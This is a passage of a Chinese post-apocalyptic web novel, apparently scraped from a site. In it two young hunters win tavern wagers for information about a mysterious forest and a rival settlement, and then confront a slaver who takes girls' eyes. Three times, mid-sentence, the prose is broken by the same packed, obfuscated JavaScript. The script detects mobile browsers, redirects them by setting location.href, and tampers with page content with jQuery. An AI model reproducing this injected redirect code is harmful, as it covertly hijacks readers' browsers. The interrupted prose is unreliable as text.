“开动你们的脑瓜子想想。要维持巨大体量的‘界’,那些高级怪物都付出多大能量。它们吃得多,消耗得也多,可能不像你们想得那么可怕。” 这家伙说的有点道理。楚队怪物信息收集工作做得相当可以啊。 “又在说‘界’的故事了?”一道略带沙哑的女声从三人背后传来。声音虽沙哑,但由于主人特别的咬字方式,显得有些妩-媚,让人耳朵痒痒的。 “哟,这不何老板嘛。你的商队也来白茶落了?”楚明锋看起来一点也不意外,慢悠悠地起身走向那名女子。 “是,正巧遇见你讲老掉牙的故事。”那女子在阴影里只露-出了形状优美的下巴,随着她缓步走向篝火,众人也渐渐看见她的面容。 女子嘴唇较薄,一张脸白得在篝火映照下多了两分血色,但往上看,眼尾上翘、瞳仁漆黑,看人的时候专注而坚定,叫人心里发虚,将秀美的面容衬出了几分冷气。 “自我介绍一下,我叫何雁,靠在聚落间倒进倒出发财。”何雁一开口,那股冷气就少了许多。 “叫何老板。何老板可是数一数二的大商人,谁要是有所求,找她准没错。”楚明锋嘿嘿一笑,那笑容……让连钰看了就知道这人准没好事。 “楚队长太抬举我了。”何雁一撩衣袍坐了下来。她身上的袍子虽是几块布料拼接而成,却颜色和谐,颇具民族风情,与连钰这一进白茶落看到的人相比强上百倍。 “这是我的队员,连钰和荣倩倩。”楚队手掌一伸,点了点。两个队员立即下意识坐好,看得何雁嘴角一勾。“两个小孩可比你可爱多了。” “这可是我精挑细选的。”楚队大咧咧地把对方的话当作夸奖全盘收下,听得连钰一愣。 原来她们是被挑中的,不是随机分配。那他之后做测试的目的是什么。话说……连钰挠了挠下巴,队长的性格和初见时一点都不一样啊。这家伙还有两幅面孔。 “看出来了,都是好孩子。”何雁点漆般的眼眸在两个女孩间轻飘飘一晃,好像看穿了什么。 “说话别这么老气,”楚明锋无视了连钰飘来的冰冷视线,自顾自地从篝火上切了一小块刚和白茶落的人换来的烤肉,“现在不是你们这片的狂欢节么?白茶落、梅花落应该都在过节,你也融入进去啊。” “走商虽依仗人脉,也不见得就需要我和那帮人打交道。” 哪帮人?狂欢节听着像是肆意享乐的日子,可是连钰想象不出末世里能怎么狂欢。 “老大——”正说着,一个脸皮棕黑,大眼睛扁鼻子的汉子右手抓着瓶酒,左手提了一串罐头,从远方飞奔而来。 “这不小山吗?”楚明锋瞅见那汉子就跳了起来,哥俩好地迎了上去,双手顺势握住那汉子的胳膊,往下滑帮着人提走了一堆东西。 “快尝尝,这可是城内都很少能换到的。”楚明锋眼疾手快,“嗤”地一下拧开瓶子。 “可给你碰上了。”被叫做小山的男人撇撇嘴,也没拦着,自己坐到了离何雁不远的地方。看得出来,他应当是何老板的手下。 连钰与荣倩倩两人接过楚明锋倒进她们随身水杯里的酒水。小荣先是闻了闻,觉着甜甜的,便喝了一-大口。同时,连钰盯着白澄澄的液-体拧着眉毛,总觉得应该不会好喝。 “爽!”小荣喝了一口以后,脸蛋立马红了,但是眼睛更亮了,像是见着了稀世珍宝。 酒也能好喝?连钰盯着杯子陷入犹豫,想了想递给了小荣。 “给我?谢了。”小荣接过十分珍惜地品了品,一点点饮尽。 “这是刚从中心广场那换来的,费了我老大一块核晶呢。”小山嘿嘿一笑,看着小荣爱喝骄傲极了。 “这儿的狂欢节已经开始了,老大,咱们要不要去看看?”小山一边把罐头整整齐齐塞进背包里,一边问着。何雁凝视着篝火,沉默不语。 “老大,我知道你不爱去。但是这次小溪她们不在,我个粗人怕办不好。”罐头很快就装好了,但小山犹犹豫豫着,拉拉链的动作都慢了下来。 “那这回你有其他帮手了。”咕嘟了人家一瓶酒的楚明锋没白喝,不知道什么时候蹲到了俩队员身后,一手搭一个,示意小山这就是他的帮手。 “走!” 刚尝到新鲜饮料的小荣用手一擦嘴,想着所谓的狂欢节上能换来好多在城内没见过的东西就跃跃欲试。而连钰没有思考的余地,但直觉告诉她狂欢节应该能挖到不少消息,身怀任务的她必须得去。 小山看着是楚队的队员,应当没错,就答应了。三个人气质憨直,与众不同,直挺挺地往白茶落的中心广场前进,但是因为一看就气色红润、精神饱满,想必不是实力强大就是背后有人,很多阴影里伺机小偷小摸的不敢轻举妄动。 而连钰边走边观察。刚才楚队亮了下徽章就直接开车驻扎在外围,这是她第一次见有别于永昼城的聚落。建筑和永昼城相比像隔了二十年,但她感到更亲近,这里灰扑扑的建筑像是她来的世界。 “我就知道那一瓶不够!这么快就回来了。”真正认出小山的人在他们一走进芦苇酒馆的时候就举起了啤酒杯。 金色卷发的男人从吧台后晃了过来,握着的扎啤偶尔随着动作洒落些许。连钰看着皱了皱眉。按理说这里的人应当很珍惜酒水才对,末日里应当很少有酿酒的作坊,现有的酒水大多是从前剩下的。这个人毫不在意浪费,也许是身家雄厚,又或者……连钰扫视了下酒馆内部。三三两两 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13233452|139462||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 聚起来的人有拼酒的,有划拳的,还有人用身边的伴儿做赌注,输了就得和人换……看起来在狂欢节,人们都格外“恣意”。 小山气质憨憨的,她们两个又像是愣头青,酒馆里已经有人装作不经意地用眼神上下扫描了好几回。 “卢卡,”小山指了指金发碧眼的男子。“这两位是熟人带的,来开开眼界。”小山没说她们的名字,并非路上没问过,倒像是出于别的原因。 “来者都是客,一起喝一杯?”卢卡举起酒杯,又洒落些许。连钰都要怀疑这杯酒都得被地面喝了。卢卡五官精致,颇有美男气质,只是甩头时流海偏了偏,被缝合的右眼暴露在众人面前,破坏了原本的美感。 小山不动声色地站在两个女孩身后,和卢卡去了吧台角落。小山坐在外侧,宽阔的身躯遮住了她们,许多人眼看没意思就挪开了视线。 “来两杯海洋之吻,如何?”卢卡笑眯眯地看着两个女孩问,但是已经招来了酒保调酒。 “不知道这杯酒和海洋之吻的名字配不配得上。”连钰没有拒绝,酒的名字倒提醒了她,她还不知道这个世界的地理情况是否和她的世界一致,要是距离海洋不远,海洋里也许也会有怪物…… “这是芦苇酒馆的招牌。喝下去一口激-爽,直冲天灵盖。” “应该是有点咸味的吧,听说海水的盐分很高。”连钰学着卢卡笑眯眯,她发现这个表情还挺好用的。对于她这种演技不佳的任务者来说,假笑未必不好。 “不错。”卢卡抬了抬下巴,示意她们观看酒保表演,酒保的确捏了点细颗粒,用花里胡哨的姿势撒了进去。 “至于当不当得起海洋之吻的名字,谁也说不好。”卢卡抿了抿酒,品酒的架势和刚才完全不同。“人类能去的距离太短,这个世道里,能活着就不错,谁知道近海的那帮人有没有观察到海洋现在是什么样。” “说不定海上有巨兽。”小荣的猜想其实和其他人一样。既然他们活动的区域怪物横行,相比遥远的海洋之上也是如此。 “自从银河出现,南方的路就差不多堵死了。东边又有山脉阻隔,山里的怪物可比平常见到的凶残百倍,从没听说过谁进了深山全身而退。”小山从摆满了扎啤的大盘子里拿了一杯,仰头喝了几大口。 银河?肯定不是天上的那条吧。 “西边怪物最多,虽说不是每个都难杀,数量多了也难搞。”卢卡摸了摸右眼,一脸无奈。 “你算幸运了,捡了条命。昨天我遇见了从前交易过的商队,他们也是在西边遇上了怪物群,当时被打散了,后来他们想联络走散的人,再也联络不上了。” “你是说那队被追到永夜森林的?”卢卡摇摇头。又是山脉,又是森林,都是危险重重的地方。连钰接过酒,总觉得不对劲。从在永昼城登入梦境她就有所感觉,城里的人类已经被圈养了。没想到到了城外,人们竟然也无法去更远的地方吗? 现在是新历108年,百年之内,人类竟然都没有办法逃离这片土地。 想着想着,连钰和刚接过酒的荣倩倩一起端起酒杯。 “咳咳咳!”这是什么海洋之吻,明明就是高浓度薄荷! 旁边的小荣明显也呛到了,但是不出连钰的意料,她又露-出了那副“好爽,我还要”的表情。 “你是不是想知道永夜森林的消息?”卢卡笑看两人呛咳问道,他一早就准备看好戏了,不知道这人是不是以前也被呛过。俗话说,走过的弯路一定要别人再走一遍。 “我可以告诉你哦~” “你有,咳咳,什么条件?”连钰擦了擦嘴,这薄荷浓到辣嘴。 “和我赌。” 6. 绿日时代(6)永夜森林究竟是什么 “和我赌。” 卢卡这句话一出,低着头擦嘴的连钰就感觉身旁的小山肌肉绷紧了一瞬。卢卡说的赌应该不简单。 连钰慢悠悠抬-起头,那股子冲天灵盖的酸爽仍然在脑子里回荡,但正好让她不得不把注意力集中在金发碧眼的男人身上。从一进门,她就不由自主地防范其他眼神扫描她的人,却忽略了卢卡。 这么一集中注意力,连钰有点不受控制地运用起能力,在抬眼的一瞬间将卢卡的神情状态纳入眼中。 他右眼缝合得有些狰狞,手指上有许多似乎是划伤的细小伤痕,金发卷曲但不凌乱,甚至动作间还有些飘逸。他呼吸的频率略快于连钰和荣倩倩,不像是情绪波动,反而像是他不得不快速呼吸一般。 连钰猜测,卢卡身上藏有小巧的刀片,极有可能就在他的护腕里,手上的伤可能是练习格斗所致。至于呼吸……也许是因为外界的空气吧。 自从外出做任务,连钰偶尔感到胸口隐隐发烫。联想到一开始留声机所说的“绿日”净化器,她不由得苦笑一下,或许人类真的被圈养太久,但无法脱离。 “怎么,要不要试一试?这可是狂欢节的规矩。”卢卡仿佛注意到了什么,收起了痞痞的笑容。 “在白茶落的狂欢节,人们靠打赌赢取一切想要的东西。赌约一出,不可反悔。什么”小山压低了声音告诉两人规矩,卢卡一口一口抿着啤酒,没有阻拦。大概从他们进来的时候,所有人都看出来她们与这儿的环境格格不入。 “在这儿,什么都能赌,但赌的形式必须简单。” 连钰思考了下,打赌形式简单应该是为了更直接取得结果。这样带来的后果无疑是让人不知不觉就输掉了一切。 “赌什么?”既然来了这儿,就遵守这儿的规矩吧。 “就赌……”卢卡装作思考,实则在明目张胆地观察她们的神情,像极了要待价而沽。 “我们出这个。”荣倩倩懒得和他扯皮,从包里掏出那块冰糖一样的核晶,卢卡的脸上闪过一丝惊讶。 “怎么样?变异风狼核晶应该不算差吧,换你在北边森林的见识应该够了?”小荣霸气地把核晶往桌上一方,“咚”的一声让人听着就很安心。 “不错,变异风狼的核晶确实值这条消息。不过……我不缺。”卢卡放下杯子,拿起酒保递给他的手巾慢条斯理地擦了擦。 “那你要赌什么,说吧。”连钰看得出来金发男人虽然认识小山,但未必肯对她们放水,而小山没有阻止,大概这个人不会赌太过分。 但就算他用心险恶,她们也退无可退。楚队把她们扔给小山,就是要她们适应外面的生活。 “赌你一分钟内喝掉这一盘。”卢卡将吧台上刚摆上的一盘“深水炸弹”推给连钰。“要你,不要她。” 卢卡之前给她们点酒就是看谁能喝谁不能喝吧。虽然连钰觉得捉弄没见过世面的女孩,不如直接拿走一-大块核晶,但这个男人完全不按常理出牌。或许,对他来说,寻乐子远比换些他有的东西值得。 “好。”连钰抬手拦住想再争辩的小荣。“他不达到目的不会告诉我们。再说,我们出来就是要观察中小聚落怎么运行,适应城外的日子。”小荣若有所思,没再拦着。连钰倒有些感动,暴力妹妹真好。 “爽快!”小山起身,站在了连钰身后。卢卡上前一步,拉近了和她的距离。 “你要是不能完成赌约,那块核晶我就拿走了~” “你不是看不上吗?”小荣翻了个白眼。 “看不看不得上都不重要,主要是你们只有这些。”卢卡狡黠一笑,在小荣气成河豚前又追了一句。“这些酒就算我请的,白茶落待客从不缺酒。” 待客? 卢卡应该算是白茶落执掌者之一吧,难怪这么嚣张,这么富…… 连钰学着队长的样子呵呵一笑,站起来捞过一个小酒杯就开灌。 拜托,她只是很讨厌薄荷,不代表她一点不能沾酒啊。她讨厌喝酒,不是不能。 惯会替客人寻乐子的酒保见状立即从柜子下掏出一个迷你沙漏,周围几桌听见赌约的人也转过身看好戏。 “那么,计时——开始!”酒保拿起沙漏倾倒,在喊出开始后立马倒扣沙漏。 狡猾!这就跟抢红包似的,当然是先准备手势更好了,结果酒保根本不给她机会。 连钰心里暗骂一声,迅速抓起一小杯酒灌了下去。 酒液入喉冰凉辛辣,好似一股化冻的岩浆直入喉管肺腑。 连钰忍了忍,告诫自己现在没空捋顺那股劲儿,紧接着又抓了一杯。一杯又一杯,她已经感觉不到冰凉了,酒液反复冲刷胃部,现在只有岩浆翻滚,她倒怀念起一开始的海洋之吻。真想用海水浇一浇嘴巴。 “沙子要没了!”还剩两杯没喝,沙子竟然就要漏光了。小荣急得恨不得自己代喝。 别怕!连钰想安慰她一下但没空说话,只是两手各抓一杯往嘴里灌,还好这种用来玩游戏的酒杯开口都小,她两手一扣竟然真的把酒一起灌了进去。 将将好在最后几颗沙子漏下之前,连钰灌完了整整一盘12杯。 咽下去最后一口的时候,连钰眼前直发晕,好险酒没喷-出来。小荣上前一步搂着她,她才没丢脸地踉跄。 “小丫头挺能耐啊。” “哟,这喝了酒脸蛋红扑扑的,还挺可爱!” “哎哎,卢卡,不如接下来让我跟她赌一把。” 连钰顺着声音扫视过去,入目的是刚才还坐在别桌的汉子们,有一个算一个,眼里闪动的不是戏谑就是轻蔑,至于更肮脏的东西,她选择无视。 “你们要想打赌先排队。我还没有履行约定。”卢卡没有阻拦其他客人,但也没放任他们强行拉连钰打赌。 “行啊,那我就等着。”有些人眼珠一转选择观望,不再说话,有的人则大咧咧地挨着他们坐下,像是丝毫不怕卢卡或小山找麻烦。 小山担忧地望了连钰一眼,但是却没有出声。连钰知道他不是怂包,想来这就是城外面的生态。 “现在,我来和你们说说永夜森林吧。” 卢卡一挥手,酒保又端来两杯澄澈的液-体。 “放心,这就是水。还是一杯一块碎核晶的纯净水。”卢卡歪头托腮,流海斜下来遮住了右眼,又戴上了那副美男子的面具,但连钰知道他就是装的。 缓缓吐-出一口浊气,连钰靠着小荣坐了下来。小荣不动声色地在背后轻拍,让她好受了不少。 “永夜森林出现于新历前一年……”卢卡不知什么时候又端起一杯红酒,醒酒的同时盯着猩红的酒液开口道。 新历前一年,人类生存的环境悄然发生了一些变化,但当时人们还以为只是环境污染或生物进化的结果。永夜森林像 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13233453|139462||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不知饱饿的兽,悄无声息地在原有森林的基础上向外延伸。首先是距离森林不远的村子里的村民发现去森林的路变短了,原本来回两小时,不知何时变成了一小时,之后是半小时……他们惊恐地发现去了森林采集的人,有些再也没回来,有些回来了但如同吃了哑药般不说话,旁人问话,只会盯着问话的人,然后缓缓微笑。 村民大骇,家里孩子得了“失语症”的大人更是着急得如热锅上的蚂蚁,可他们发出去的消息没人理会,去了镇上的人也总是因为莫名其妙的原因忘记去的理由,等回到村里才如雷击中般想起来。 与此同时,有一小部分科研工作者发现情况并上报,呼吁重视森林的异常扩张速度,但不知为何,消息封-锁了,像是有什么绝对力量介入人类网络。知道消息的官员总有理由不回复,问急了,他们的嘴角就会像被丝线扯开一般,咧开一个笑容。 生存环境出现了太多异变,直到有一天,怪物降临。通讯设备、基础设施和武器设备全都一夕之间被摧毁殆尽,人类才如梦初醒般发现自己无路可退。 所有人在那一刻才清醒过来,可是为时已晚。永夜森林也已经扩张了数十倍,百年间不论是大型城市还是中小聚落都有派人调查,但就算不是深-入森林,侥幸出来的人也得了新历前人们见识过的失语症。当时负责远距离观察的任务者看似正常,但在执行任务不久后的某一天被人发现暴毙,死时脸上挂着骇人的微笑。 “所以,已经有十年,没有任何势力派遣人手调查永夜森林了,至少明面上如此。很有可能那里藏着能影响人类精神的怪物,能力远超乎我们的想象……”醒酒完毕,卢卡将红宝石般的液-体尽数倒入嘴中,一脸意犹未尽。 连钰还处于深水炸弹的后劲中,但她的思维却变得异常活跃。 “没有去过永夜森林的人里有出现失语症患者吗?” “好问题,”卢卡微微一挑眉,俯下身凑近她的耳畔,“其实有哦。” 连钰的眼睛瞬间睁大。 “可是我不告诉你是谁。” 说完,卢卡坐回原位,又挥手让酒保调酒,见连钰一脸欲言又止的样子就满意得很。 “你不告诉我,也行。”连钰收回不该有的情绪波动,站起身来。刚才听到的故事让她的酒醒了一-大半。 “小荣,”连钰转向可爱妹妹,被那双圆溜溜的眼睛一盯,她心都定了,“有没有兴趣打赌?” 这下,卢卡是真的有些意外了。 “你要打赌?”他扬起眉毛,声音都提高了些许。 “白茶落的打赌可不一般,我刚刚跟你玩的都是过家家。” “是吗?那真是谢谢你的好意了。”连钰学着他故事里的失语症患者缓缓拉开嘴角,卢卡看了不禁有些无奈。 “不过我们来这就是尽兴的。”连钰扫视了一圈,很明显她刚才不自量力的发言又吸引来了许多喝上头的客人。卢卡这回真的瞪视了几个人,但仍有好几个围了上来。 小山欲言又止,也想劝连钰冷静,但是连钰反问他不是要来为商队打听消息吗,他又沉默,放任连钰挑选对象。 “小丫头,和我赌吧,我赌品很好。”一个白了一半头发的汉子放下扎啤,饶有兴趣地等着连钰回答。 从没听说过有赌品很好的……连钰内心呵呵,面上却依然挂着笑。 “你想怎么办?” 7. 绿日时代(7)路见不平 “你想怎么办?” 连钰眼角瞥见卢卡和小山都不约而同放松了些肌肉,猜到这个头发半白但面容不老的男人或许真的赌品很好。 “就赌……谁先从卢卡手上抢到那杯酒。”自称叫辛迪的男人摸了摸自己的发茬,眼光瞥向卢卡。 “喂,你这可不厚道啊。”卢卡撇撇嘴,倒是不见丝毫慌张,反而单手转了下杯子,仿佛挑衅一般看了一眼连钰。 “你搞错了,我要和那个丫头打赌。”辛迪看向连钰身后的荣倩倩,明明面容不老,但却笑得一脸慈爱,愣是让人感觉像爷爷辈的看孙女。 连钰从进了芦苇酒馆就觉得处处有被人牵着鼻子走的感觉,更让她警惕的是,她总觉得自己的能力似乎已经被眼前几人看穿了,至少卢卡和辛迪好像知道些什么。 如果是她去抢卢卡手里的酒杯,她进化后的视力非常占优势。但这个看似慈爱爷爷实则大尾巴狼的辛迪却指名道姓要荣倩倩去,分明有问题。 也许是因为酒……刚喝过酒后自己不受控制地对卢卡使用过能力,尽管只有一秒钟。 他们现在是想要摸清小荣的能力? “好,那就让我跟你打赌!” 小荣眼看着同伴被灌酒已经迫不及待要和他们比过一场了。在武力值点满的小荣眼里,大概夺酒杯算是文斗,她倒恨不得直接跟他们打一架,看看城外的人究竟实力如何。 “爽快!” 辛迪一抬手,周围三三两两围着的汉子竟真的后退了几步,在人满为患的酒馆里愣是留出了一个场地。有兴致所至站在旁边侃大山的客人被挤到了,刚想抬头破口大骂,看见人后就没声儿了。 “不过我怎么知道你能提供我们想要的东西?刚才我们和卢卡打赌,不过是想听听永夜森林的故事罢了。” 说得好!连钰在心里给妹妹点赞。 这群人一个两个都耍她们玩,分明是觉得她们什么都不懂,逗弄她们。 “放心,”卢卡摘下手指上像是铁制的指环,“我知道你们来这儿是想要打听什么。” 说罢,他背对着其他客人,作出了“梅花落”的口型。 他真的知道。可是为什么? 连钰和荣倩倩对视一眼,总觉得不简单。她们在这儿的行动一直被人牵着鼻子走,就像闯关一样,一路得到她们想要的东西。 “行,如果我们输了,我们身上带的东西任你挑一件走。你输了就得告诉我们想知道的消息。那么,是骡子是马拿出来遛遛。就看看你能不能比我家小荣快。” “那么,现在开始!” 话音刚落,小荣和辛迪二人就直奔卢卡而去。她看过连钰吃过亏,早就绷紧了弦,这下立刻就冲了出去。 “你们两个!是要揍我吗?” 卢卡夸张地哇哇大叫,但是身手敏捷,一个转身躲到了酒保身后,并把无辜的酒保踹了出去。辛迪和小荣二人敏捷闪过,酒保“哎哟”一声砸在了地上。 眼看卢卡闪到吧台后像是无处可躲了,连钰立即站在了吧台前,堵住卢卡从这过的可能性。她的确不参与争夺,但是没说她不能稍微挪一下位置啊。 卢卡瞪了她一眼,甩手弹出一根刀片,刀片直直插=入侧边墙面,不经意削掉了那桌一个男人的发丝。接着甩手扔出酒杯,酒杯把刚刚好挂在刀片上。 “我*!” 男人一回头刚想骂就看见一女一男前后向他大步奔来,几乎是瞬间就来到他眼前。男人酒精上头一时间不知道回避。眼看着那个女孩子就要越过他拿那个酒杯了,那个男人抓住了女孩肩膀。女孩右手一扣,迅速回身试图将男子制服在地。 然而辛迪没有那么容易就能被制服。他见招拆招,几下子就化解了攻势。 连钰看得心头直跳恨不得能上去帮忙。然而小荣不愧是训练生最强,出手丝毫不拖泥带水,也一点不见在城外和陌生人打斗的怯劲,反而越打越快,连钰依靠自己的视力倒是能看清楚,酒馆里其他人则是在无辜男人被削了头发时就看情况溜到了门口。 一时间,酒馆里不见往日喧闹,只有两人打斗时的风声。 连钰一边专注两人的比试,一边余光注意着挂在刀片上的杯子。刀片毕竟很薄,即便插-进墙壁几厘米,但因为其略微倾斜的角度,那杯酒正在滑落。 他们也没说需不需要杯子里还有酒…… 好在小荣没有忘记目的。她一个扫腿将那一刻下盘不够稳的辛迪扫落在地,紧接着丝毫不恋战,转身两步上前,右手已经碰到了酒杯。 辛迪还想要阻拦,小荣手臂被钳制,身体歪了一下,但不管不顾地抓住了酒杯把。 “我们赢了!” 连钰三两步跑过去,啪地一下拍掉了辛迪的胳膊,接着就去看小荣的手。辛迪也不恼,笑呵呵地整了整衣袖。 “果然流血了。” 连钰捧着小荣被刀片割伤的手一阵心疼。末世里长大的人都这么拼,因为寿命短了就无所顾忌。 也不知道永昼城的人小时候有没有打过破伤风…… “不碍事。”小荣笑起来时圆眼睛弯成了月牙儿,明明右手还在流血,却好像感觉不到疼一样。 “怎么能不碍事……”连钰接过酒杯,气呼呼地往卢卡怀里一塞,随后拉着小荣走回原来的位置。辛迪跟了上来。 此时酒馆里除了他们,只剩下了最靠近门口的那桌两男两女。那桌人看着很淡定,丝毫没有被影响,男人们抱着各自身旁的女人碰杯聊天。可就是连钰这一瞥,发现了不寻常。 两个女人,不,应当还不能称为女人,两个女孩身体纤瘦,一个黑发黑眼,五官柔美,是典型的亚裔长相,另一个棕发女孩背对着看不清长相。但可以确定的是,她的脖颈后方安有一小块银色的装置。 辛迪顺着她的目光看去,说道:“那是女奴。狂欢节带着奴隶来的不是少数,很多人会用奴隶置换物资,或者交换奴隶。”他摇摇头,应当是不赞同,可他并没有多言,想来刚才的两句话只是为连钰她们解释一下,作为之后告诉她们梅花落讯息的开场白。 可是黑发女孩低垂的眉眼和那块装置像一根刺扎在了连钰心上。 卢卡和小山带着两人走到了吧台后面的走廊。走廊两侧的房间都是储藏室,再往后就是员工休息间。 “就在这说吧。”连钰走了没几步就在走廊停下。笑话,万一这帮人一直以来都是装的要履约怎么办,她们算上小山不见得能全身而退,毕竟这里是卢卡的地盘。谁知道旁边的房间里有没有比他们都强的高手。 “没问题。”卢卡倒是不在意她的防备,一行人就停在了走廊,几个侍应生看老板眼色也退到了走廊深处。 “梅花落算是最强的聚落之一了。”辛迪没有废话,直接开启了话题。 “那儿的执掌者曾经和你们刚刚看见的女孩一样。不过,她很强,也很幸运。” “十年前,她所在的聚落遭到怪物入侵。那一回,许多身体瘦弱的奴隶被扔出来献给怪物,但是怪物失去了耐心,没有像以前一样吃完就走 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13233454|139462||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,而是一直徘徊。最后,城里的人没办法了,粮食等物资恰好紧缺,在苦苦支撑一段时间后,人类选择了拼一把。” 连钰、小荣和小山沉默地听着,连钰抬眼看了一下小山,发现他不自觉地摸了下左侧腹部。 “当然,人类失败了,有人想要提前逃跑,结果逃跑的后门被怪物发现……之后就是一场血腥的屠杀。但是她活下来了。她不仅活下来,还和一批奴隶去往其它聚落,以一个秘密和那个聚落的执掌者交换生存空间。” “什么秘密?” “这没人敢确定,大约是和怪物袭击有关吧,不知道为什么那个聚落的执掌者相信她了。之后,那批奴隶摘除了监控装置。可奇怪的是,一年后,原本的执掌者在外出时身亡,同行的一个精英小队都杳无音讯。有人说,灰兔根本就是编织了巨大的谎言,最后无法圆谎,才痛下杀手,再以狠辣的手段上位,将聚落更名为梅花落。” 连钰的脑海又闪过了刚刚那两个女孩的身影。不知为什么,她下意识地和当年那个相信灰兔的人一样,想要相信她。 灰兔和其他人从怪物围城里逃离一定有秘密,怪物没有杀害他们也一定有原因。 “梅花落的人难道就真的乖乖听话了?”小荣有些难以相信。 “一切都要服从绝对的利益。”辛迪摇摇头,“灰兔发现了一种植物,并且掌握了种植方法,让梅花落过上了不怕挨饿的日子。别说她是不是真的害死从前那位执掌者了,就算她杀了再多人,剩下的人也会因为利益屈服。况且,她的奴隶朋友可是实力超群。” 还是不对。如果那群奴隶战力强,从前那个聚落怎么会甘心让那批奴隶逃走。作战时应该时刻在一起才对。 连钰的心里有一个猜测,但是实在太过异想天开,所有她没有出声。 “你说的消息价值并不高。灰兔究竟是谁?为什么除了亲信,没人知道她的真实身份。”小荣还记得队长说的话,这个家伙分明给的信息不全。 “咦,你们已经知道了?”辛迪有些惊讶。“她确实有掩盖身份在外行走。不过,这其实对你们的计划不太重要。日后你们就知道了。” “你怎么这么肯定我们有计划?”连钰警惕起来。 “呵呵,任何人对梅花落都有想法。没有想法才不正常。” 罢了,和这个一看就心机深沉的“老头”说不来的。和末世这帮人打交道可真烦。 几个人朝外走去,刚一走回暖黄灯光的酒馆大厅,就听到一声尖叫。 “对不起大人,我不是故意的,我不是故意的……”连钰循声望去,黑发女孩正被原本坐在她身边的男子拽住头发往另一个男子那里扔。 “送给你了!我也没有别的东西了,再赌我们队长可得扒了我的皮!” “行吧……这个女孩长相一般了些,倒是眼睛,格外亮。” 眼睛? 连钰有种不好的预感。 这是棕发女孩转过身望向地上的黑发女孩,嘴角下垂,面容悲戚。她原本大概会流露-出悲伤的眼神,可是缺了眼睛的眼眶黑洞洞的,无言地嘲笑她的无力。 “你也会是我喜爱的作品。”男子伸-出手抬起黑发女孩下巴,端详着女孩不敢直视他的眼睛,仿佛在吸食她的恐惧。 “求求您……”黑发女孩还想求情,可是她原本的主人不知什么时候已经离开。 “别怕,你会变得更美。” 连钰怒火中烧,她身侧的小荣也按耐不住。 “住手!” 8. 绿日时代(8)棒棒糖 “让你住手,是听不明白话吗?” 身形高挑的民族风女子甫一踏进酒馆,连钰几人就不由得雀跃起来。 “老板!” “何……何老板!” 何雁摘了兜帽,那张白皙到近乎透明的脸在酒馆昏黄的灯光下显得过分温情,然而她一开口说的话却不那么动听。 “李瞎子,又在糟蹋女孩?不记得上次我是怎么让你听话的吗?”被叫作李瞎子的变-态彼时想要调-戏女孩,俯身未起,正好抬头就看见这个让他恨得牙痒痒的女人进来,还一副俯视他的姿态,更叫他恼火不已。 “呵呵,何老板来了白茶落怎么不派人招呼一声。你不是一向不喜欢这儿的狂欢节吗?” 李瞎子没理会何雁的挑衅,想要维持自己在奴隶面前的威严,然而他匆匆起身就已经暗示了什么。 “我不喜欢,可我知道像你这样的人喜欢。” 何雁点漆一样的眸子往身旁一扫,黑发女孩趁机爬到了她的脚下,但是还不敢起身。 “jian人!你也敢扫我的面子!”李瞎子看到奴隶的表现更是气不打一处来,可是刚刚在辛迪他们打赌时都死撑着不溜走的男人,现在却没有之前那么猖狂。连上前把别人给了自己的奴隶带走都犹豫。 “李瞎子,你这爱拿走漂亮眼睛的毛病还是没改。不如这样,你再和我打赌……” “我不赌!” 李瞎子刚一喊出口就后悔了,这儿还那么多人,芦苇酒馆的老板都还在看着……可是要是和这个女人赌,他实在赌不起。上一回,他赌输了整个商队的货物不甘心,最后输到做了一天何雁商队的奴隶。 还好那次不在白茶落,除了他自己的手下也没别人知道。要是这一次也输了…… 谁知道那个女人怎么那么幸运!竟然赌什么都能赢。简直诡异极了。 “不赌是吗?看来你很有自知之明。”何雁示意走过来的小山把黑发女孩带走,连钰两人也走到何老板身旁。就在这个时候,连钰才发现楚明锋竟然靠在门口吃棒棒糖。 连钰:? 楚明锋:(*^_^*) 何雁的气势太强,一下子把众人注意力都吸引过去,竟然没人发现这个人在吃糖看戏。 小荣顺着连钰的视线看去,张了张嘴发现不知道说什么,索性回头装作什么都不知道。楚明锋在小荣心中高不可攀的高级猎人形象一点点破碎,终于在此刻碎成了稀烂。 “你不赌,可是我一定要和你赌。”何雁身后的人太多,李瞎子一时半会咩办法找到机会离开,听到这话更是浑身汗毛立起,一股热气顺着脊梁往上攀,直让他发晕。 “凭什么!就算再白茶落,打赌也要两个人都同意!” “就凭你身边这个孩子不是你‘公平’打赌赢来的。” 她怎么知道……李瞎子背后的热汗瞬间变冷。莉莉是他做生意时对方的女儿。那个男人是个小商贩,和三两个朋友拖带着女儿就敢在聚落间行走。李瞎子不仅看上了他女儿,还看中了那个男人侥幸修好的车。 